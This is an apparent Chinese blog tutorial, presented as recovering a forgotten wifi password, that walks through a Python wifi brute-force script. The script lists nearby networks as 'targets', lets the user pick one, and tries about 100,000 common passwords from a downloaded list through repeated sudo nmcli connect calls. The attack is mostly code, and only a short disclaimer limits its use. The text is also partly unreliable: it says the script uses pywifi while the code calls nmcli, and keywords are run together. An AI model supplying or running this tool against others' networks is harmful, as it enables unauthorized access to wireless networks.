忘記的wifi密碼Python腳本找回
很多小伙伴都好奇,一些個網絡大神咋就把wifi密碼給找回來了?其實找回wifi密碼的難度主要看密碼設得有多復雜。如果是那種常見的弱密碼,比如“12345678”,找回來真不難!下面就教你用Python腳本三步找回wifi密碼,純為學習技術,別拿去干違法的事兒哦!
第一步:掃描附近wifi信號
想找回wifi密碼,第一步得知道附近有哪些wifi信號。咱們可以用Python寫個小函數,叫`display_targets`,獲取wifi列表。
def display_targets(networks, security_type):
print("Select a target: \n")
rows, columns = os.popen('stty size', 'r').read().split()
for i in range(len(networks)):
width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
spacer = " "
if (int(columns) >= 100):
calc = int((int(columns)-int(width))*0.75)
else:
calc = int(columns)-int(width)
for index in range(calc):
spacer += "."
if index == (calc-1):
spacer += " "
print(str(i+1)+". "+networks[i]+spacer+security_type[i])
它能掃描附近wifi的SSID(就是wifi名字,比如“HUAWEI-XXXX”)。跑代碼后,程序會把附近wifi信號列出來,存到列表里,方便你挑想找回密碼的那個wifi。這個函數寫下來也就十幾行,超簡單!
小提示:先用`pip install pywifi`裝好庫,Windows、Mac、Linux都支持。跑之前確認下電腦網卡能不能掃wifi,不然可能啥也找不到。
第二步
掃完wifi列表后,找到你的wifi。這步更輕松,純Python基礎操作。可以用輸入框,讓你從列表選出wifi名字(比如“TP-LINK_1234”)。選好后,程序會記住這個wifi的SSID,準備下一步。
def prompt_for_target_choice(max):
whileTrue:
try:
selected = int(input("\nEnter number of target: "))
if(selected >= 1and selected <= max):
return selected - 1
except Exception as e:
ignore = e
print("Invalid choice: Please pick a number between 1 and " + str(max))
第三步:暴力嘗試找回wifi密碼
選好wifi后,重頭戲來了——咋找回密碼?最常用的辦法是“暴力嘗試”,就是拿一堆常見密碼挨個試。咱們可以用GitHub上的一個開源項目,里面有10萬個常用wifi密碼(比如“admin123”之類的弱密碼)。程序會自動用這些密碼去試,直到找到對的那個。
具體咋干?寫個函數,循環讀取密碼列表,自動嘗試連wifi。每次試的時候,屏幕會用顏色提示:紅色是試錯了,紫色是正在試,綠色是找回成功!整個代碼大概60行,核心就是`pywifi`的連接功能加上密碼循環,效率很高。
def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")
if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)
if (len(decoded_line) >= 8):
time.sleep(3)
creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()
# print(creds)
if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
小提醒:找回速度看你電腦性能和密碼復雜程度。如果wifi用的是“password123”這種弱密碼,估計幾分鐘就搞定;但如果是16位隨機密碼,難度就大多了。
把三步連起來
把這三步串起來,邏輯是這樣的:先用`display_targets`掃wifi列表,選好你的wifi,最后用暴力嘗試函數一個個試密碼。整個腳本不到100行,簡單又好使!跑的時候,屏幕會刷測試狀態,紅色、紫色、綠色提示清清楚楚,找到密碼后直接顯示,爽快!
def main():
require_root()
args = argument_parser()
# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)
# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]
ifnot networks:
print("No networks found!")
sys.exit(-1)
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
brute_force(target, passwords, args)
小建議:找到密碼后,記到手機備忘錄里,標上“家里wifi密碼”,免得下次又忘了。
一點小忠告
找回wifi密碼聽起來挺炫,但得悠著點。弱密碼的wifi確實容易被找回,但還是建議自己家的wifi密碼最好設得復雜點,字母、數字、符號混搭,12位以上才保險。別去試別人家的wifi,不僅不道德,還可能犯法。學這個主要是搞懂技術原理,滿足好奇心,或者幫自己找回忘了的密碼。
想玩得更深?可以分析找回成功率,比如統計哪些密碼最常見,或者用Python的`matplotlib`把嘗試時間畫成圖,數據控看了超滿足!
好啦,三步找回wifi密碼的教程到這兒!希望你覺得有趣又有料。